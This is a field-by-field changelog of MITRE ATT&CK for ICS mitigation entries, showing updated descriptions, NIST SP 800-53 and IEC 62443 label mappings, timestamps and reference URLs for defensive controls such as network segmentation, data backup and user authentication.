| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0948 | https://attack.mitre.org/Mitigation/M0948 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SI-3 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SI-3 | |
[M0947] Audit
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:17:45.966000+00:00 | 2022-04-21 22:02:03.955000+00:00 |
| labels[0] | NIST SP 800-53 Rev. 4 - SI-7 | IEC 62443-3-3:2013 - SR 3.4 |
| labels[1] | IEC 62443-4-2:2013 - SR 3.4 | IEC 62443-4-2:2019 - CR 3.4 |
| labels[2] | IEC 62443-4-2:2019 - CR 3.4 | NIST SP 800-53 Rev. 4 - SI-7 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0947 | https://attack.mitre.org/Mitigation/M0947 |
[M0800] Authorization Enforcement
Current version: 1.0
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|
|---|
| t | The device or system should restrict access to read, manipul | t | The device or system should restrict read, manipulate, or ex |
| ate, or execute system objects to only authenticated users w | | ecute privileges to only authenticated users who require acc |
| ho require access based on approved security policies. Role- | | ess based on approved security policies. Role-based Access |
| based Access Control (RBAC) schemes can help reduce the over | | Control (RBAC) schemes can help reduce the overhead of assig |
| head of assigning permissions to the large number of devices | | ning permissions to the large number of devices within an IC |
| within an ICS. For example, IEC 62351 provides examples of | | S. For example, IEC 62351 provides examples of roles used to |
| roles used to support common system operations within the el | | support common system operations within the electric power |
| ectric power sector (Citation: IEC 62351), while IEEE 1686 p | | sector (Citation: International Electrotechnical Commission |
| rovide sets of standard permissions for users of IEDs. (Cita | | July 2020), while IEEE 1686 defines standard permissions fo |
| tion: IEEE 1686-2013) | | r users of IEDs. (Citation: Institute of Electrical and Elec |
| | | tronics Engineers January 2014) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.957000+00:00 |
| description | The device or system should restrict access to read, manipulate, or execute system objects to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector (Citation: IEC 62351), while IEEE 1686 provide sets of standard permissions for users of IEDs. (Citation: IEEE 1686-2013) | The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector (Citation: International Electrotechnical Commission July 2020), while IEEE 1686 defines standard permissions for users of IEDs. (Citation: Institute of Electrical and Electronics Engineers January 2014) |
| labels[0] | NIST SP 800-53 Rev. 4 - AC-3 | IEC 62443-3-3:2013 - SR 2.1 |
| labels[1] | IEC 62443-4-2:2013 - SR 2.1 | IEC 62443-4-2:2019 - CR 2.1 |
| labels[2] | IEC 62443-4-2:2019 - CR 2.1 | NIST SP 800-53 Rev. 4 - AC-3 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0800 | https://attack.mitre.org/Mitigation/M0800 |
| external_references[1]['source_name'] | IEC 62351 | International Electrotechnical Commission July 2020 |
| external_references[1]['description'] | International Electrotechnical Commission. (2020, July 17). IEC 62351 - Power systems management and associated information exchange - Data and communications security. Retrieved September 17, 2020. | International Electrotechnical Commission 2020, July 17 IEC 62351 - Power systems management and associated information exchange - Data and communications security Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | IEEE 1686-2013 | Institute of Electrical and Electronics Engineers January 2014 |
| external_references[2]['description'] | Institute of Electrical and Electronics Engineers. (2014, January). 1686-2013 - IEEE Standard for Intelligent Electronic Devices Cyber Security Capabilities. Retrieved September 17, 2020. | Institute of Electrical and Electronics Engineers 2014, January 1686-2013 - IEEE Standard for Intelligent Electronic Devices Cyber Security Capabilities Retrieved. 2020/09/17 |
[M0946] Boot Integrity
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:17:50.603000+00:00 | 2022-04-21 22:02:03.957000+00:00 |
| labels[0] | NIST SP 800-53 Rev. 4 - SI-7 | IEC 62443-4-2:2019 - CR 3.14 |
| labels[1] | IEC 62443-4-2:2019 - CR 3.14 | NIST SP 800-53 Rev. 4 - SI-7 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0946 | https://attack.mitre.org/Mitigation/M0946 |
[M0945] Code Signing
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:16:02.881000+00:00 | 2022-04-21 22:02:03.957000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0945 | https://attack.mitre.org/Mitigation/M0945 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SI-7 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SI-7 | |
[M0802] Communication Authenticity
Current version: 1.0
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|
|---|
| t | When communicating over an untrusted network utilize secure | t | When communicating over an untrusted network, utilize secure |
| network protocols that both authenticate the message sender | | network protocols that both authenticate the message sender |
| and can verify its integrity, either through message authent | | and can verify its integrity. This can be done either throu |
| ication codes (MACs) or digital signatures, to prevent the t | | gh message authentication codes (MACs) or digital signatures |
| ransmission of spoofed network messages or unauthorized conn | | , to detect spoofed network messages and unauthorized connec |
| ections. | | tions. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.958000+00:00 |
| description | When communicating over an untrusted network utilize secure network protocols that both authenticate the message sender and can verify its integrity, either through message authentication codes (MACs) or digital signatures, to prevent the transmission of spoofed network messages or unauthorized connections. | When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0802 | https://attack.mitre.org/Mitigation/M0802 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SC-8; SC-23 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SC-8;SC-23 | |
[M0953] Data Backup
Current version: 1.0
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|
|---|
| t | Take and store data backups from end user systems and critic | t | Take and store data backups from end user systems and critic |
| al servers. Ensure backup and storage systems are hardened a | | al servers. Ensure backup and storage systems are hardened a |
| nd kept separate from the corporate network to prevent compr | | nd kept separate from the corporate network to prevent compr |
| omise. Maintain and exercise incident response plans, includ | | omise. Maintain and exercise incident response plans (Cit |
| ing the management of 'gold-copy' back-up images and configu | | ation: Department of Homeland Security October 2009), includ |
| rations for key systems to enable quick recovery and respons | | ing the management of 'gold-copy' back-up images and config |
| e from adversarial activities that impact control, view, or | | urations for key systems to enable quick recovery and respon |
| availability. | | se from adversarial activities that impact control, view, or |
| | | availability. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:18:28.201000+00:00 | 2022-04-21 22:02:03.959000+00:00 |
| description | Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise. Maintain and exercise incident response plans, including the management of 'gold-copy' back-up images and configurations for key systems to enable quick recovery and response from adversarial activities that impact control, view, or availability. | Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise. Maintain and exercise incident response plans (Citation: Department of Homeland Security October 2009), including the management of 'gold-copy' back-up images and configurations for key systems to enable quick recovery and response from adversarial activities that impact control, view, or availability. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0953 | https://attack.mitre.org/Mitigation/M0953 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - CP-9 |
| external_references | | {'source_name': 'Department of Homeland Security October 2009', 'description': 'Department of Homeland Security 2009, October Developing an Industrial Control Systems Cybersecurity Incident Response Capability Retrieved. 2020/09/17 ', 'url': 'https://us-cert.cisa.gov/sites/default/files/recommended_practices/final-RP_ics_cybersecurity_incident_response_100609.pdf'} |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - CP-9 | |
[M0803] Data Loss Prevention
Current version: 1.0
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|
|---|
| t | Data Loss Prevention (DLP) technologies can be used to help | t | Data Loss Prevention (DLP) technologies can be used to help |
| identify adversarial attempts to exfiltrate operational info | | identify adversarial attempts to exfiltrate operational info |
| rmation, such as engineering plans, trade secrets, recipes, | | rmation, such as engineering plans, trade secrets, recipes, |
| intellectual property, or process telemetry. DLP functionali | | intellectual property, or process telemetry. DLP functionali |
| ty may be built into other security products such as firewal | | ty may be built into other security products such as firewal |
| ls or stand alone suites running on the network and host-bas | | ls or standalone suites running on the network and host-base |
| ed agents. DLP may be configured to prevent the transfer of | | d agents. DLP may be configured to prevent the transfer of i |
| information through corporate resources such as email, web, | | nformation through corporate resources such as email, web, a |
| and physical media such as USB for host-based solutions. | | nd physical media such as USB for host-based solutions. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.959000+00:00 |
| description | Data Loss Prevention (DLP) technologies can be used to help identify adversarial attempts to exfiltrate operational information, such as engineering plans, trade secrets, recipes, intellectual property, or process telemetry. DLP functionality may be built into other security products such as firewalls or stand alone suites running on the network and host-based agents. DLP may be configured to prevent the transfer of information through corporate resources such as email, web, and physical media such as USB for host-based solutions. | Data Loss Prevention (DLP) technologies can be used to help identify adversarial attempts to exfiltrate operational information, such as engineering plans, trade secrets, recipes, intellectual property, or process telemetry. DLP functionality may be built into other security products such as firewalls or standalone suites running on the network and host-based agents. DLP may be configured to prevent the transfer of information through corporate resources such as email, web, and physical media such as USB for host-based solutions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0803 | https://attack.mitre.org/Mitigation/M0803 |
[M0942] Disable or Remove Feature or Program
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:16:04.776000+00:00 | 2022-04-21 22:02:03.959000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0942 | https://attack.mitre.org/Mitigation/M0942 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - CM-7 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - CM-7 | |
[M0808] Encrypt Network Traffic
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.959000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0808 | https://attack.mitre.org/Mitigation/M0808 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SC-8 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SC-8 | |
[M0941] Encrypt Sensitive Information
Current version: 1.0
|
|
|---|
| t | Protect sensitive information with strong encryption. | t | Protect sensitive data-at-rest with strong encryption. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:16:44.834000+00:00 | 2022-04-21 22:02:03.960000+00:00 |
| description | Protect sensitive information with strong encryption. | Protect sensitive data-at-rest with strong encryption. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0941 | https://attack.mitre.org/Mitigation/M0941 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SC-28 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SC-28 | |
[M0938] Execution Prevention
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:15:42.195000+00:00 | 2022-04-21 22:02:03.960000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0938 | https://attack.mitre.org/Mitigation/M0938 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SI-3 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SI-3 | |
[M0950] Exploit Protection
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:18:55.938000+00:00 | 2022-04-21 22:02:03.960000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0950 | https://attack.mitre.org/Mitigation/M0950 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SI-16 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SI-16 | |
[M0804] Human User Authentication
Current version: 1.0
|
|
|---|
| t | The device should require that a user authenticates before t | t | Require user authentication before allowing access to data o |
| hey can remotely access it, or send a command to it. While s | | r accepting commands to a device. While strong multi-factor |
| trong multi-factor authentication is preferrable, it is not | | authentication is preferable, it is not always feasible with |
| always feasible within this ICS environments. Performing str | | in ICS environments. Performing strong user authentication a |
| ong user authentication also requires additional security co | | lso requires additional security controls and processes whic |
| ntrols and processes which are often the target of related a | | h are often the target of related adversarial techniques (e. |
| dversarial techniques (e.g., Valid Accounts, Default Credent | | g., Valid Accounts, Default Credentials). Therefore, associa |
| ials). Therefore, associated ATT&CK mitigations should be co | | ted ATT&CK mitigations should be considered in addition to t |
| nsidered in addition to this, including Multi-factor Authent | | his, including [Multi-factor Authentication](https://attack. |
| ication (M1032), Account Use Policies (M1036), Password Pol | | mitre.org/mitigations/M0932), [Account Use Policies](https:/ |
| icies (M1027), User Account Management (M1018), Privileged A | | /attack.mitre.org/mitigations/M0936), [Password Policies](ht |
| ccount Management (M1026), and User Account Control (M1052) | | tps://attack.mitre.org/mitigations/M0927), [User Account Man |
| . | | agement](https://attack.mitre.org/mitigations/M0918), [Privi |
| | | leged Account Management](https://attack.mitre.org/mitigatio |
| | | ns/M0926), and [https://attack.mitre.org/mitigations/M1052/ |
| | | User Account Control]. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.975000+00:00 |
| description | The device should require that a user authenticates before they can remotely access it, or send a command to it. While strong multi-factor authentication is preferrable, it is not always feasible within this ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials). Therefore, associated ATT&CK mitigations should be considered in addition to this, including Multi-factor Authentication (M1032), Account Use Policies (M1036), Password Policies (M1027), User Account Management (M1018), Privileged Account Management (M1026), and User Account Control (M1052). | Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials). Therefore, associated ATT&CK mitigations should be considered in addition to this, including [Multi-factor Authentication](https://attack.mitre.org/mitigations/M0932), [Account Use Policies](https://attack.mitre.org/mitigations/M0936), [Password Policies](https://attack.mitre.org/mitigations/M0927), [User Account Management](https://attack.mitre.org/mitigations/M0918), [Privileged Account Management](https://attack.mitre.org/mitigations/M0926), and [https://attack.mitre.org/mitigations/M1052/ User Account Control]. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0804 | https://attack.mitre.org/Mitigation/M0804 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - IA-2 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - IA-2 | |
[M0935] Limit Access to Resource Over Network
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:15:00.027000+00:00 | 2022-04-21 22:02:03.962000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0935 | https://attack.mitre.org/Mitigation/M0935 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-3; SC-7 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-3; SC-7 | |
[M0934] Limit Hardware Installation
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:14:12.326000+00:00 | 2022-04-21 22:02:03.962000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0934 | https://attack.mitre.org/Mitigation/M0934 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - MP-7 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - MP-7 | |
[M0805] Mechanical Protection Layers
Current version: 1.0
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|
|---|
| t | Utilize a layered protection design based on physical or mec | t | Utilize a layered protection design based on physical or mec |
| hanical protection systems to prevent damage to property, eq | | hanical protection systems to prevent damage to property, eq |
| uipment, human safety, or the environment. Preferably protec | | uipment, human safety, or the environment. Examples include |
| tion devices should have minimal digital components to preve | | interlocks, rupture disk, release values, etc. (Citation: A |
| nt exposure to related adversarial techniques. Examples of i | | G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 200 |
| nclude interlocks, rupture disk, release values, etc. (Citat | | 4) |
| ion: IEC 61511) | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.963000+00:00 |
| description | Utilize a layered protection design based on physical or mechanical protection systems to prevent damage to property, equipment, human safety, or the environment. Preferably protection devices should have minimal digital components to prevent exposure to related adversarial techniques. Examples of include interlocks, rupture disk, release values, etc. (Citation: IEC 61511) | Utilize a layered protection design based on physical or mechanical protection systems to prevent damage to property, equipment, human safety, or the environment. Examples include interlocks, rupture disk, release values, etc. (Citation: A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0805 | https://attack.mitre.org/Mitigation/M0805 |
| external_references[1]['source_name'] | IEC 61511 | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004 |
| external_references[1]['description'] | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith. (2004). APPLYING THE LATEST STANDARD FOR FUNCTIONAL SAFETY — IEC 61511. Retrieved September 17, 2020. | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004 APPLYING THE LATEST STANDARD FOR FUNCTIONAL SAFETY IEC 61511 Retrieved. 2020/09/17 |
[M0806] Minimize Wireless Signal Propagation
Current version: 1.0
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|
|---|
| t | Wireless signals frequently propagate outside of organizatio | t | Wireless signals frequently propagate outside of organizatio |
| nal boundaries, which provide opportunities for adversaries | | nal boundaries, which provide opportunities for adversaries |
| to monitor or gain unauthorized access to the wireless commu | | to monitor or gain unauthorized access to the wireless netwo |
| nication. (Citation: CISA Mar 2010) To minimize this threat, | | rk. (Citation: CISA March 2010) To minimize this threat, org |
| organizations should implement measures to detect, understa | | anizations should implement measures to detect, understand, |
| nd, and reduce unnecessary RF propagation. (Citation: DHS Na | | and reduce unnecessary RF propagation. (Citation: DHS Natio |
| tional Urban Security Technology Laboratory Apr 2019) Techni | | nal Urban Security Technology Laboratory April 2019) |
| ques can include (i) reducing transmission power on wireless | | |
| signals, (ii) adjust antenna gain to prevent extensions bey | | |
| ond organizational boundaries, and (iii) employ RF shielding | | |
| techniques to block excessive signal propagation. | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.965000+00:00 |
| description | Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless communication. (Citation: CISA Mar 2010) To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation. (Citation: DHS National Urban Security Technology Laboratory Apr 2019) Techniques can include (i) reducing transmission power on wireless signals, (ii) adjust antenna gain to prevent extensions beyond organizational boundaries, and (iii) employ RF shielding techniques to block excessive signal propagation. | Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. (Citation: CISA March 2010) To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation. (Citation: DHS National Urban Security Technology Laboratory April 2019) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0806 | https://attack.mitre.org/Mitigation/M0806 |
| external_references[1]['source_name'] | CISA Mar 2010 | CISA March 2010 |
| external_references[1]['description'] | CISA. (2010, March). Securing Wireless Networks. Retrieved September 17, 2020. | CISA 2010, March Securing Wireless Networks Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | DHS National Urban Security Technology Laboratory Apr 2019 | DHS National Urban Security Technology Laboratory April 2019 |
| external_references[2]['description'] | DHS National Urban Security Technology Laboratory. (2019, April). Radio Frequency Detection, Spectrum Analysis, and Direction Finding Equipment. Retrieved September 17, 2020. | DHS National Urban Security Technology Laboratory 2019, April Radio Frequency Detection, Spectrum Analysis, and Direction Finding Equipment Retrieved. 2020/09/17 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SC-40 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SC-40 | |
[M0816] Mitigation Limited or Not Effective
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-04-21 22:02:03.965000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0816 | https://attack.mitre.org/Mitigation/M0816 |
[M0932] Multi-factor Authentication
Current version: 1.0
|
|
|---|
| t | Use two or more pieces of evidence to authenticate to a syst | t | Use two or more pieces of evidence to authenticate to a syst |
| em; such as username and password in addition to a token fro | | em; such as username and password in addition to a token fro |
| m a physical smart card or token generator. Within industria | | m a physical smart card or token generator. Within industri |
| l control environments assets such as low-level controllers, | | al control environments assets such as low-level controllers |
| workstations, and HMIs have real-time operational control a | | , workstations, and HMIs have real-time operational control |
| nd safety requirements which may restrict the use of multi-f | | and safety requirements which may restrict the use of multi- |
| actor. | | factor. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:14:36.319000+00:00 | 2022-04-21 22:02:03.965000+00:00 |
| description | Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator. Within industrial control environments assets such as low-level controllers, workstations, and HMIs have real-time operational control and safety requirements which may restrict the use of multi-factor. | Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator. Within industrial control environments assets such as low-level controllers, workstations, and HMIs have real-time operational control and safety requirements which may restrict the use of multi-factor. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0932 | https://attack.mitre.org/Mitigation/M0932 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - IA-2 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - IA-2 | |
[M0807] Network Allowlists
Current version: 1.0
|
|
|---|
| t | Network allowlists can be implemented through either host-ba | t | Network allowlists can be implemented through either host-ba |
| sed files or system hosts files to specify what external con | | sed files or system hosts files to specify what connections |
| nections (e.g., IP address, MAC address, port, protocol) can | | (e.g., IP address, MAC address, port, protocol) can be made |
| be made from a device. Allowlist techniques that operate at | | from a device. Allowlist techniques that operate at the app |
| the application layer (e.g., DNP3, Modbus, HTTP) are addres | | lication layer (e.g., DNP3, Modbus, HTTP) are addressed in [ |
| sed in Filter Network Traffic mitigation. | | Filter Network Traffic](https://attack.mitre.org/mitigations |
| | | /M0937) mitigation. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 16:00:36.319000+00:00 | 2022-04-21 22:02:03.975000+00:00 |
| description | Network allowlists can be implemented through either host-based files or system hosts files to specify what external connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation. | Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in [Filter Network Traffic](https://attack.mitre.org/mitigations/M0937) mitigation. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0807 | https://attack.mitre.org/Mitigation/M0807 |
[M0931] Network Intrusion Prevention
Current version: 1.0
|
|
|---|
| t | Use intrusion detection signatures to block traffic at netwo | t | Use intrusion detection signatures to block traffic at netwo |
| rk boundaries. In industrial control environments, network i | | rk boundaries. In industrial control environments, network |
| ntrusion prevention should be configured so it will not disr | | intrusion prevention should be configured so it will not dis |
| upt protocols and communications responsible for real-time f | | rupt protocols and communications responsible for real-time |
| unctions related to control or safety. | | functions related to control or safety. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:14:02.263000+00:00 | 2022-04-21 22:02:03.966000+00:00 |
| description | Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety. | Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0931 | https://attack.mitre.org/Mitigation/M0931 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - SI-4 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - SI-4 | |
[M0930] Network Segmentation
Current version: 1.0
|
|
|---|
| t | Architect sections of the network to isolate critical system | t | Architect sections of the network to isolate critical system |
| s, functions, or resources. Use physical and logical segment | | s, functions, or resources. Use physical and logical segment |
| ation to prevent access to potentially sensitive systems and | | ation to prevent access to potentially sensitive systems and |
| information. Use a DMZ to contain any internet-facing servi | | information. Use a DMZ to contain any internet-facing servi |
| ces that should not be exposed from the internal network. Re | | ces that should not be exposed from the internal network. R |
| strict network access to only required systems and services. | | estrict network access to only required systems and services |
| In addition, prevent systems from other networks or busines | | . In addition, prevent systems from other networks or busine |
| s functions (e.g., enterprise) from accessing critical proce | | ss functions (e.g., enterprise) from accessing critical proc |
| ss control systems. For example, in IEC 62443, systems withi | | ess control systems. For example, in IEC 62443, systems with |
| n the same secure level should be grouped into a 'zone', and | | in the same secure level should be grouped into a zone, and |
| access to that zone is restricted by a 'conduit', or mechan | | access to that zone is restricted by a conduit, or mechanism |
| ism to restrict data flows between zones by segmenting the n | | to restrict data flows between zones by segmenting the netw |
| etwork. | | ork. (Citation: IEC February 2019) (Citation: IEC August 201 |
| | | 3) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:14:39.500000+00:00 | 2022-04-21 22:02:03.967000+00:00 |
| description | Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. For example, in IEC 62443, systems within the same secure level should be grouped into a 'zone', and access to that zone is restricted by a 'conduit', or mechanism to restrict data flows between zones by segmenting the network. | Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. For example, in IEC 62443, systems within the same secure level should be grouped into a zone, and access to that zone is restricted by a conduit, or mechanism to restrict data flows between zones by segmenting the network. (Citation: IEC February 2019) (Citation: IEC August 2013) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0930 | https://attack.mitre.org/Mitigation/M0930 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-3 |
| external_references | | {'source_name': 'IEC February 2019', 'description': 'IEC 2019, February Security for industrial automation and control systems - Part 4-2: Technical security requirements for IACS components Retrieved. 2020/09/25 ', 'url': 'https://webstore.iec.ch/publication/34421'} |
| external_references | | {'source_name': 'IEC August 2013', 'description': 'IEC 2013, August Industrial communication networks - Network and system security - Part 3-3: System security requirements and security levels Retrieved. 2020/09/25 ', 'url': 'https://webstore.iec.ch/publication/7033'} |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-3 | |
[M0928] Operating System Configuration
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:13:45.681000+00:00 | 2022-04-21 22:02:03.967000+00:00 |
| labels[0] | NIST SP 800-53 Rev. 4 - CM-7 | IEC 62443-3-3:2013 - SR 7.7 |
